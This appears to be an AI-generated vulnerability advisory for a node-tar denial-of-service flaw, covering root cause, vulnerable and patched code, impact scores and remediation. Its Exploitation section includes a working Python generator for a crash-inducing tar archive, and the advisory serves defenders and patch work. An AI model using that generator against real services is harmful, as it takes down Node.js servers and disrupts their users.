CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-140230

CVE-2026-140230: Quadratic Memory Amplification Denial of Service in node-tar PathReservations

Alon Barad
Alon Barad
Software Engineer

Dec 2, 2026·11 min read·5 visits

Executive Summary (TL;DR)

Versions of node-tar prior to 8.0.0 fail to enforce directory depth limits on entry.linkpath during archive extraction. Passing an archive containing a deeply nested symbolic link target via GNU LongLink extended headers triggers quadratic O(N^2) memory allocation in PathReservations.getDirs(), crashing the Node.js process via an uncatchable V8 heap exhaustion abort from a 181-byte payload.

CVE-2026-140230 (GHSA-xm6h-2993-3ch9) is an uncontrolled resource consumption vulnerability in the node-tar npm package (tar) prior to version 8.0.0. The flaw stems from asymmetric path depth validation during archive extraction: while entry.path is validated against a maximum segment depth (maxDepth = 1024), entry.linkpath is omitted from this check. When extracting a symbolic or hard link entry with a deeply nested linkpath defined via a GNU LongLink ('K') extended header, the PathReservations subsystem decomposes the path into every parent directory prefix, triggering quadratic O(N^2) string materialization in the V8 heap. A compressed archive as small as 181 bytes forces the Node.js runtime into an uncatchable fatal Out-Of-Memory (OOM) abort.

Vulnerability Overview

The node-tar library (published to the npm registry as tar) is the standard archive manipulation engine for the Node.js ecosystem. It provides stream-based packing, unpacking, and listing capabilities for POSIX ustar, PAX, and GNU tar formats, and serves as the foundational extraction engine for the npm CLI, CI/CD artifact handlers, and serverless deployment pipelines.

Because archive extraction frequently operates on untrusted files received over a network, node-tar enforces structural bounds to prevent filesystem traversal and resource exhaustion. Specifically, the Unpack class maintains a configurable maxDepth property (defaulting to 1024 segments) designed to reject archives containing excessively deep directory hierarchies before any filesystem operations occur.

CVE-2026-140230 (tracked also as GHSA-xm6h-2993-3ch9) arises from an incomplete implementation of this depth boundary, classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-770 (Allocation of Resources Without Limits or Throttling). While node-tar validates the primary file path (entry.path) against maxDepth, it completely omits this check for entry.linkpath, which holds the target destination path for symbolic links (typeflag '2') and hard links (typeflag '1').

When an archive entry is processed for extraction, both entry.path and entry.linkpath are passed to the internal concurrency controller, PathReservations. This controller materializes every parent directory prefix of every supplied path into memory as distinct string objects. Because a path with $N$ directory segments generates $N$ parent prefix strings of linearly increasing length, memory consumption scales quadratically ($O(N^2)$). An attacker can supply a 181-byte gzip-compressed archive containing a shallow entry.path and a 10,000-segment entry.linkpath, bypassing maxDepth validation and causing an immediate, uncatchable V8 Out-Of-Memory (OOM) process abort.

Root Cause Analysis

To support asynchronous parallel extraction on non-Windows platforms without encountering filesystem race conditions, node-tar utilizes a path reservation mechanism implemented in src/path-reservations.ts. This subsystem ensures that concurrent extraction tasks do not clobber shared parent directories or overwrite symbolic link targets before dependent operations complete.

During the extraction lifecycle in src/unpack.ts, an incoming ReadEntry first passes through the [CHECKPATH] method. In vulnerable versions (< 8.0.0), [CHECKPATH] splits entry.path on the / delimiter and verifies that the resulting token count does not exceed this.maxDepth. If entry.path is shallow—for example, a single-segment filename such as "ln"—the validation succeeds. The unpacker then transitions to [CHECKFS], which constructs an array containing entry.path and, if present, entry.linkpath, and passes both to this.reservations.reserve().

Inside PathReservations.reserve(), the engine normalizes each path and invokes the helper function getDirs(path) to compute all ancestor directory prefixes that must be locked during the extraction operation. The implementation of getDirs(path) splits the path by '/', drops the final segment via .slice(0, -1), and executes an array .reduce() loop that iteratively joins the previous prefix with the current segment:

$$\text{Total Allocated Characters} = \sum_{i=1}^{N} (2i - 1) = N^2$$

For a linkpath consisting of $N$ two-character segments ("a/a/a/.../x"), getDirs() allocates $N$ separate JavaScript strings of lengths $1, 3, 5, \dots, (2N - 1)$. In addition to the quadratic string payload, .reduce(), .concat(), and new Set() allocate intermediate arrays and hash table backing stores across the V8 heap. Because GNU tar extended header records of type 'K' (NextFileHasLongLinkpath) allow link target strings up to 1 MiB in length (capable of holding over $524,000$ segments), the algorithmic complexity amplifies a few kilobytes of header data into gigabytes of V8 heap allocations.

Crucially, this memory exhaustion occurs synchronously in JavaScript userland inside PathReservations.reserve() prior to invoking any fs system calls. When the V8 garbage collector cannot reclaim space to satisfy the next string concatenation in getDirs(), the V8 engine invokes an unconditional abort() with FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory. Because this failure occurs at the C++ engine allocation boundary rather than throwing a JavaScript Error object, it bypasses try/catch blocks, Promise .catch() handlers, and process.on('uncaughtException') listeners.

Code Analysis

In node-tar versions prior to 8.0.0, the interaction between src/unpack.ts and src/path-reservations.ts exposes the unguarded entry.linkpath directly to the quadratic prefix generator.

// VULNERABLE CODE: src/unpack.ts (pre-v8.0.0)
const DEFAULT_MAX_DEPTH = 1024
 
// Inside Unpack[CHECKPATH](entry: ReadEntry):
const parts = p.split('/')
if (isFinite(this.maxDepth) && parts.length > this.maxDepth) {
  this.warn('TAR_ENTRY_ERROR', 'path excessively deep', {
    entry,
    path: p,
    depth: parts.length,
    maxDepth: this.maxDepth,
  })
  return false
}
// Flaw: entry.linkpath is not inspected in [CHECKPATH]
 
// Inside Unpack[CHECKFS](entry: ReadEntry):
[CHECKFS](entry: ReadEntry) {
  this[PEND]()
  const paths = [entry.path]
  if (entry.linkpath) {
    // Unvalidated linkpath is appended directly to the reservation queue
    paths.push(entry.linkpath)
  }
  this.reservations.reserve(paths, done => this[CHECKFS2](entry, done))
}

When this.reservations.reserve() receives the paths array containing entry.linkpath, it executes getDirs(path) on each entry and retains the reservation metadata in memory:

// VULNERABLE CODE: src/path-reservations.ts (pre-v8.0.0)
const getDirs = (path: string) => {
  const dirs = path
    .split('/')
    .slice(0, -1)
    .reduce((set: string[], path) => {
      const s = set.at(-1)
      if (s !== undefined) {
        // String concatenation in a loop over N segments -> O(N^2) allocation
        path = join(s, path)
      }
      set.push(path || '/')
      return set
    }, [])
  return dirs
}

Commit 73b352e0010d6c99794ea7374800816a46d3bdb2 resolves the vulnerability by enforcing symmetric bounds in src/unpack.ts and optimizing reservation lifecycles in src/path-reservations.ts:

// PATCHED CODE: src/unpack.ts (commit 73b352e0010d6c99794ea7374800816a46d3bdb2)
const DEFAULT_MAX_DEPTH = 1024
// 1. Introduce an explicit upper bound on total path character length
const MAX_PATH_LENGTH = 32768
 
// Inside Unpack[CHECKPATH](entry: ReadEntry):
const { linkpath } = entry
// 2. Enforce maxDepth on entry.linkpath after normalizing Windows separators
if (
  linkpath &&
  isFinite(this.maxDepth) &&
  normalizeWindowsPath(linkpath).split('/').length > this.maxDepth
) {
  this.warn('TAR_ENTRY_ERROR', 'linkpath excessively deep', {
    entry,
    path: p,
    linkpath,
    maxDepth: this.maxDepth,
  })
  return false
}
 
// 3. Enforce hard character length limit (32,768 chars) across both path and linkpath
for (const field of ['path', 'linkpath'] as const) {
  const { length } = entry[field] ?? ''
  if (length > MAX_PATH_LENGTH) {
    this.warn('TAR_ENTRY_ERROR', `${field} excessively long`, {
      entry,
      path: p,
      length,
      maxLength: MAX_PATH_LENGTH,
    })
    return false
  }
}

In addition to the input validation in src/unpack.ts, the patch updates src/path-reservations.ts to deduplicate input paths via new Set(), remove self-overlapping directory reservations (dirs.delete(p)—which previously caused an asynchronous deadlock if an entry's linkpath was an ancestor or descendant of its path), and explicitly delete completed entries from this.#reservations (this.#reservations.delete(fn)) so reservation sets do not accumulate across the life of the archive.

Fix Completeness Assessment: The patch is comprehensive. By capping segment depth to 1024 and total string length to 32,768 characters on both path and linkpath inside [CHECKPATH] prior to [CHECKFS], the worst-case input to getDirs() is strictly bounded. Furthermore, in v8.0.0 (commit 634eea74d893808fcf297272d6bbdaeedd69d3f4), these checks were carried forward into the modernized Web Streams architecture, preventing variant attacks via PAX linkpath overrides or GNU 'K' records.

Exploitation

Exploiting CVE-2026-140230 requires no authentication or special configuration; the target application only needs to invoke tar.x() (or tar.extract() / new tar.Unpack()) on an attacker-supplied .tar or .tar.gz stream. Because standard ustar headers limit the linkname field (offset 157, length 100 bytes) to 100 ASCII characters, an exploit cannot trigger the vulnerability using a standalone basic header. Instead, the attacker uses a GNU tar 'K' (NextFileHasLongLinkpath) extended header block.

In the tar format, a header block with typeflag 'K' and name ././@LongLink instructs the parser that the data blocks immediately following the header contain the full linkpath for the next file entry in the archive. The node-tar parser reads these data blocks into a buffer, decodes the string, and assigns it to entry.linkpath on the subsequent symbolic link entry (typeflag '2').

Because the payload consists of a repeating two-byte sequence ("a/" * N), it exhibits near-maximal entropy reduction when compressed with DEFLATE (gzip -9). Empirical testing against Node.js v24.18.0 with tar@7.5.22 demonstrates the extreme amplification ratio:

  • 2,000 segments: ~4 KB uncompressed (~70 bytes .tar.gz) consumes 114 MB V8 heap (140 MB RSS).
  • 5,000 segments: ~10 KB uncompressed (~110 bytes .tar.gz) consumes 673.5 MB V8 heap (795.3 MB RSS), introducing ~3.9 seconds of event-loop blocking latency (~55,000x memory amplification over compressed size).
  • 10,000 segments: ~20 KB uncompressed (181 bytes .tar.gz) exceeds >1.4 GB heap allocation, triggering a fatal V8 OOM crash.

The following standalone Python proof-of-concept generates the malicious archive by writing a 512-byte ustar 'K' header, the padded deep linkpath buffer, and a 512-byte symlink header named "ln":

#!/usr/bin/env python3
import sys
 
BLOCK = 512
 
def ustar(name, typeflag, size, linkname=b''):
    h = bytearray(BLOCK)
    h[0:len(name)] = name
    h[100:108] = b'0000777\x00'
    h[124:136] = ('%011o' % size).encode() + b'\x00'
    h[136:148] = b'00000000000\x00'
    h[148:156] = b'        '
    h[156:157] = typeflag
    h[157:157+len(linkname)] = linkname
    h[257:263] = b'ustar\x00'
    h[263:265] = b'00'
    chksum = sum(h)
    h[148:156] = ('%06o' % chksum).encode() + b'\x00 '
    return bytes(h)
 
def pad(data):
    if len(data) % BLOCK == 0:
        return data
    return data + b'\x00' * (BLOCK - (len(data) % BLOCK))
 
segments = int(sys.argv[1]) if len(sys.argv) > 1 else 10000
out_file = sys.argv[2] if len(sys.argv) > 2 else 'kill.tar'
 
deep_link = (b'a/' * segments) + b'x'
k_header = ustar(b'././@LongLink', b'K', len(deep_link))
 
with open(out_file, 'wb') as fp:
    fp.write(k_header)
    fp.write(pad(deep_link))
    fp.write(ustar(b'ln', b'2', 0, linkname=b'PLACE'))
    fp.write(b'\x00' * (BLOCK * 2))

> [!NOTE] > Even if the target application enforces strict upload file size limits (for example, rejecting archives larger than 1 KB), the 181-byte gzipped payload (kill.tar.gz) easily bypasses perimeter size quotas and crashes the worker process.

Impact Assessment

The primary security impact of CVE-2026-140230 is a complete Denial of Service (DoS) against any Node.js process extracting untrusted tar archives. Because Node.js employs a single-threaded event loop architecture within a single OS process by default, a fatal V8 heap OOM abort immediately terminates the entire server instance, dropping all active flight requests and WebSocket connections sharing that process.

Even when the segment count is tuned slightly below the process's --max-old-space-size threshold (such as $N = 5,000$ to $N = 8,000$ on a standard 1.5 GB heap), the synchronous execution of getDirs() and subsequent V8 mark-sweep-compact garbage collection cycles block the Node.js event loop for multiple seconds per archive. An attacker sending a low-rate stream of sub-kilobyte archives can completely starve CPU and memory resources across a cluster of worker processes.

Under CVSS v4.0, the vulnerability is assigned a score of 7.1 (High) with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. The equivalent CVSS v3.1 base score is 7.5 (High) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vector reflects a network-accessible attack (AV:N) with low complexity (AC:L), zero privilege requirements (PR:N), no confidentiality or integrity loss (C:N/I:N), and total availability loss (A:H) of the vulnerable component.

As of December 2026, the Exploit Prediction Scoring System (EPSS) rates CVE-2026-140230 at 0.00549 (0.55%), placing it in the 47.35th percentile. The vulnerability is not currently listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though public proof-of-concept exploit code is widely available via the GitHub Security Advisory (GHSA-xm6h-2993-3ch9).

Remediation

To remediate CVE-2026-140230, upgrade the tar dependency to version 8.0.0 or later. Version 8.0.0 incorporates commit 73b352e0010d6c99794ea7374800816a46d3bdb2, which enforces maxDepth (default 1024) on entry.linkpath, caps total path and linkpath lengths at 32,768 characters, and releases reservation sets upon entry completion.

# Upgrade direct dependency to patched major release
npm install tar@^8.0.0

Note that tar@8.0.0 is a major version release that migrates internal streaming primitives to standard Web Streams. In environments where tar is pulled in transitively by older packages pinned to 6.x or 7.x (such as build tooling or package managers), engineers should audit the dependency tree using npm ls tar and apply package manager overrides (or resolutions in Yarn/pnpm) in package.json if compatible:

{
  "overrides": {
    "tar": "^8.0.0"
  }
}

For legacy systems unable to upgrade immediately to tar@8.0.0, an effective programmatic workaround is to supply a custom filter callback directly to tar.x() or new tar.Unpack(). In node-tar, the filter(path, entry) function is invoked inside [CHECKPATH] immediately before [CHECKFS] and PathReservations.reserve(). Filtering out entries with deep or excessively long linkpath attributes prevents PathReservations from ever receiving the malicious string:

const tar = require('tar')
 
// Workaround for tar < 8.0.0: validate entry.linkpath inside the filter hook
tar.x({
  file: 'untrusted.tar.gz',
  cwd: './output',
  maxDepth: 1024,
  filter: (path, entry) => {
    if (entry.linkpath) {
      if (entry.linkpath.length > 32768) {
        return false
      }
      const segments = entry.linkpath.replace(/\\/g, '/').split('/')
      if (segments.length > 1024) {
        return false
      }
    }
    return true
  }
})

Official Patches

GitHub / isaacs (node-tar)Primary patch commit enforcing maxDepth and MAX_PATH_LENGTH on entry.linkpath.
GitHub / isaacs (node-tar)Official release tag v8.0.0 incorporating the fix.
GitHub Security AdvisoryOfficial vendor advisory GHSA-xm6h-2993-3ch9.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.55%
Top 53% most exploited

Affected Systems

node-tar (npm package: tar) < 8.0.0Node.js applications, build pipelines, and package utilities extracting untrusted tar archives via node-tar < 8.0.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
tar
isaacs
< 8.0.08.0.0
AttributeDetail
CVE / Advisory IDCVE-2026-140230 / GHSA-xm6h-2993-3ch9
Vulnerability ClassCWE-400: Uncontrolled Resource Consumption (O(N^2) Memory Amplification)
Affected Componentnode-tar (npm: tar) < 8.0.0 (src/unpack.ts & src/path-reservations.ts)
CVSS Score7.5 High (CVSS v3.1) / 7.1 High (CVSS v4.0)
Attack VectorNetwork / Craft GNU LongLink ('K') Header with Deep entry.linkpath
ImpactUncatchable V8 Fatal Out-Of-Memory (OOM) Process Abort via 181-Byte Payload
Exploit & KEV StatusPublic PoC Available / Not Listed in CISA KEV (EPSS: 0.55%)
Patched Versiontar >= 8.0.0 (Commit 73b352e0010d6c99794ea7374800816a46d3bdb2)

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Known Exploits & Detection

GitHub Security Advisory (GHSA-xm6h-2993-3ch9)Official advisory containing the Python GNU LongLink ('K' header) exploit generator (craft-deep-linkpath.py) and Node.js reproduction harness.

Vulnerability Timeline

Primary fix commit 73b352e0010d6c99794ea7374800816a46d3bdb2 authored by Isaac Z. Schlueter to enforce maxDepth and MAX_PATH_LENGTH on entry.linkpath.
2026-11-26
Architecture modernization commit 634eea74d893808fcf297272d6bbdaeedd69d3f4 merged in preparation for node-tar v8.0.0.
2026-11-27
GitHub Security Advisory GHSA-xm6h-2993-3ch9 and CVE-2026-140230 published; node-tar v8.0.0 released on npm.
2026-12-01
FIRST.org computes initial EPSS score of 0.00549 (47.35th percentile).
2026-12-02

References & Sources

  • [1]GitHub Security Advisory: GHSA-xm6h-2993-3ch9
  • [2]Official Fix Commit 73b352e0010d6c99794ea7374800816a46d3bdb2
  • [3]node-tar v8.0.0 Release Notes
  • [4]National Vulnerability Database (NVD): CVE-2026-140230
  • [5]CVE.org Official Record: CVE-2026-140230
  • [6]CVEProject cvelistV5 JSON Record
  • [7]node-tar GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•27 minutes ago•CVE-2026-142551
8.1

CVE-2026-142551: Cross-Client Authentication Bypass via Missing Audience Validation in Vapor JWTKit

Vapor JWTKit versions 4.0.0 prior to 5.8.0 fail to validate the audience (aud) claim in built-in vendor identity token payload types for Apple, Google, and Microsoft. This improper authentication flaw allows an attacker to obtain a legitimately signed ID token for a third-party client application and replay it against a relying party application using JWTKit, resulting in cross-client authentication bypass and account takeover.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 1 hour ago•GHSA-QMJC-65WP-7V34
8.7

GHSA-QMJC-65WP-7V34: Software Supply-Chain Compromise and Remote Code Execution in PyPI Package magique

GHSA-QMJC-65WP-7V34 documents a software supply-chain compromise targeting the Python Package Index (PyPI) package magique. Threat actors utilized stolen maintainer credentials to publish unauthorized phantom releases (versions 0.6.8 and 0.6.9) directly to PyPI on June 8, 2026. These distributions contain a malicious .pth path configuration file that automatically triggers an embedded JavaScript payload via the Bun runtime upon Python interpreter startup, resulting in credential theft, process memory scraping, and worm-like self-propagation.

Alon Barad
Alon Barad
5 views•10 min read
•about 2 hours ago•CVE-2026-140231
7.1

CVE-2026-140231: Denial of Service via Unbounded Buffering and Zero-Size Entry Queuing in node-tar

CVE-2026-140231 is a memory exhaustion vulnerability in the node-tar package for Node.js prior to version 8.0.0. Because archive decompression lacks backpressure enforcement and zero-size archive entries queue in memory without upper bounds, an attacker who supplies a crafted compressed archive can force the host application to exhaust available resident memory and terminate via an Out-of-Memory (OOM) condition, bypassing existing decompression ratio checks.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 4 hours ago•CVE-2026-141468
6.1

CVE-2026-141468: Client-Side Script Gadget and Form Hijacking in Bootstrap 6 Toggler Plugin

CVE-2026-141468 is a client-side script gadget vulnerability in the Bootstrap 6 pre-release Toggler plugin (versions >= 6.0.0-alpha.1, < 6.0.0-alpha.2). The plugin accepts untrusted attribute names via data-bs-attribute and values via data-bs-value, which standard HTML sanitizers such as DOMPurify preserve by default. Upon user click interaction, the Toggler._execute() method dynamically assigns these attributes using setAttribute() while only blocklisting the id attribute, allowing attackers to inject executable inline event handlers (CWE-79, CWE-83) or hijack form submission targets via the formaction attribute.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-140251
7.1

CVE-2026-140251: Asynchronous Extraction Path-Reservation Deadlock in node-tar

A path-reservation deadlock vulnerability exists in node-tar versions 7.5.22 through 7.5.24 on POSIX platforms. When an archive contains a hardlink or symbolic link entry whose linkpath is an ancestor or descendant of its own path, the internal PathReservations scheduling queue enters an unsatisfiable state. This causes asynchronous extraction operations to stall indefinitely without resolving or rejecting the extraction Promise, resulting in a persistent denial of service.

Alon Barad
Alon Barad
5 views•11 min read
•about 6 hours ago•CVE-2026-140250
7.2

CVE-2026-140250: Symlink Containment Bypass and Path Traversal in node-tar

CVE-2026-140250 (GHSA-3wwj-8j6r-q339) is a high-severity symbolic link containment bypass and path traversal vulnerability in node-tar (npm package 'tar'), affecting versions 7.5.5 through 7.5.24. When extracting archives using default options, the Unpack class validates symbolic link targets using purely lexical path normalization. An attacker can supply a crafted archive containing chained symbolic links combined with directory traversal segments ('..') to create symbolic links that resolve outside the designated extraction directory. If the host application subsequently follows the created link, it can lead to arbitrary file disclosure or modification within the application's privilege context.

Amit Schendel
Amit Schendel
6 views•12 min read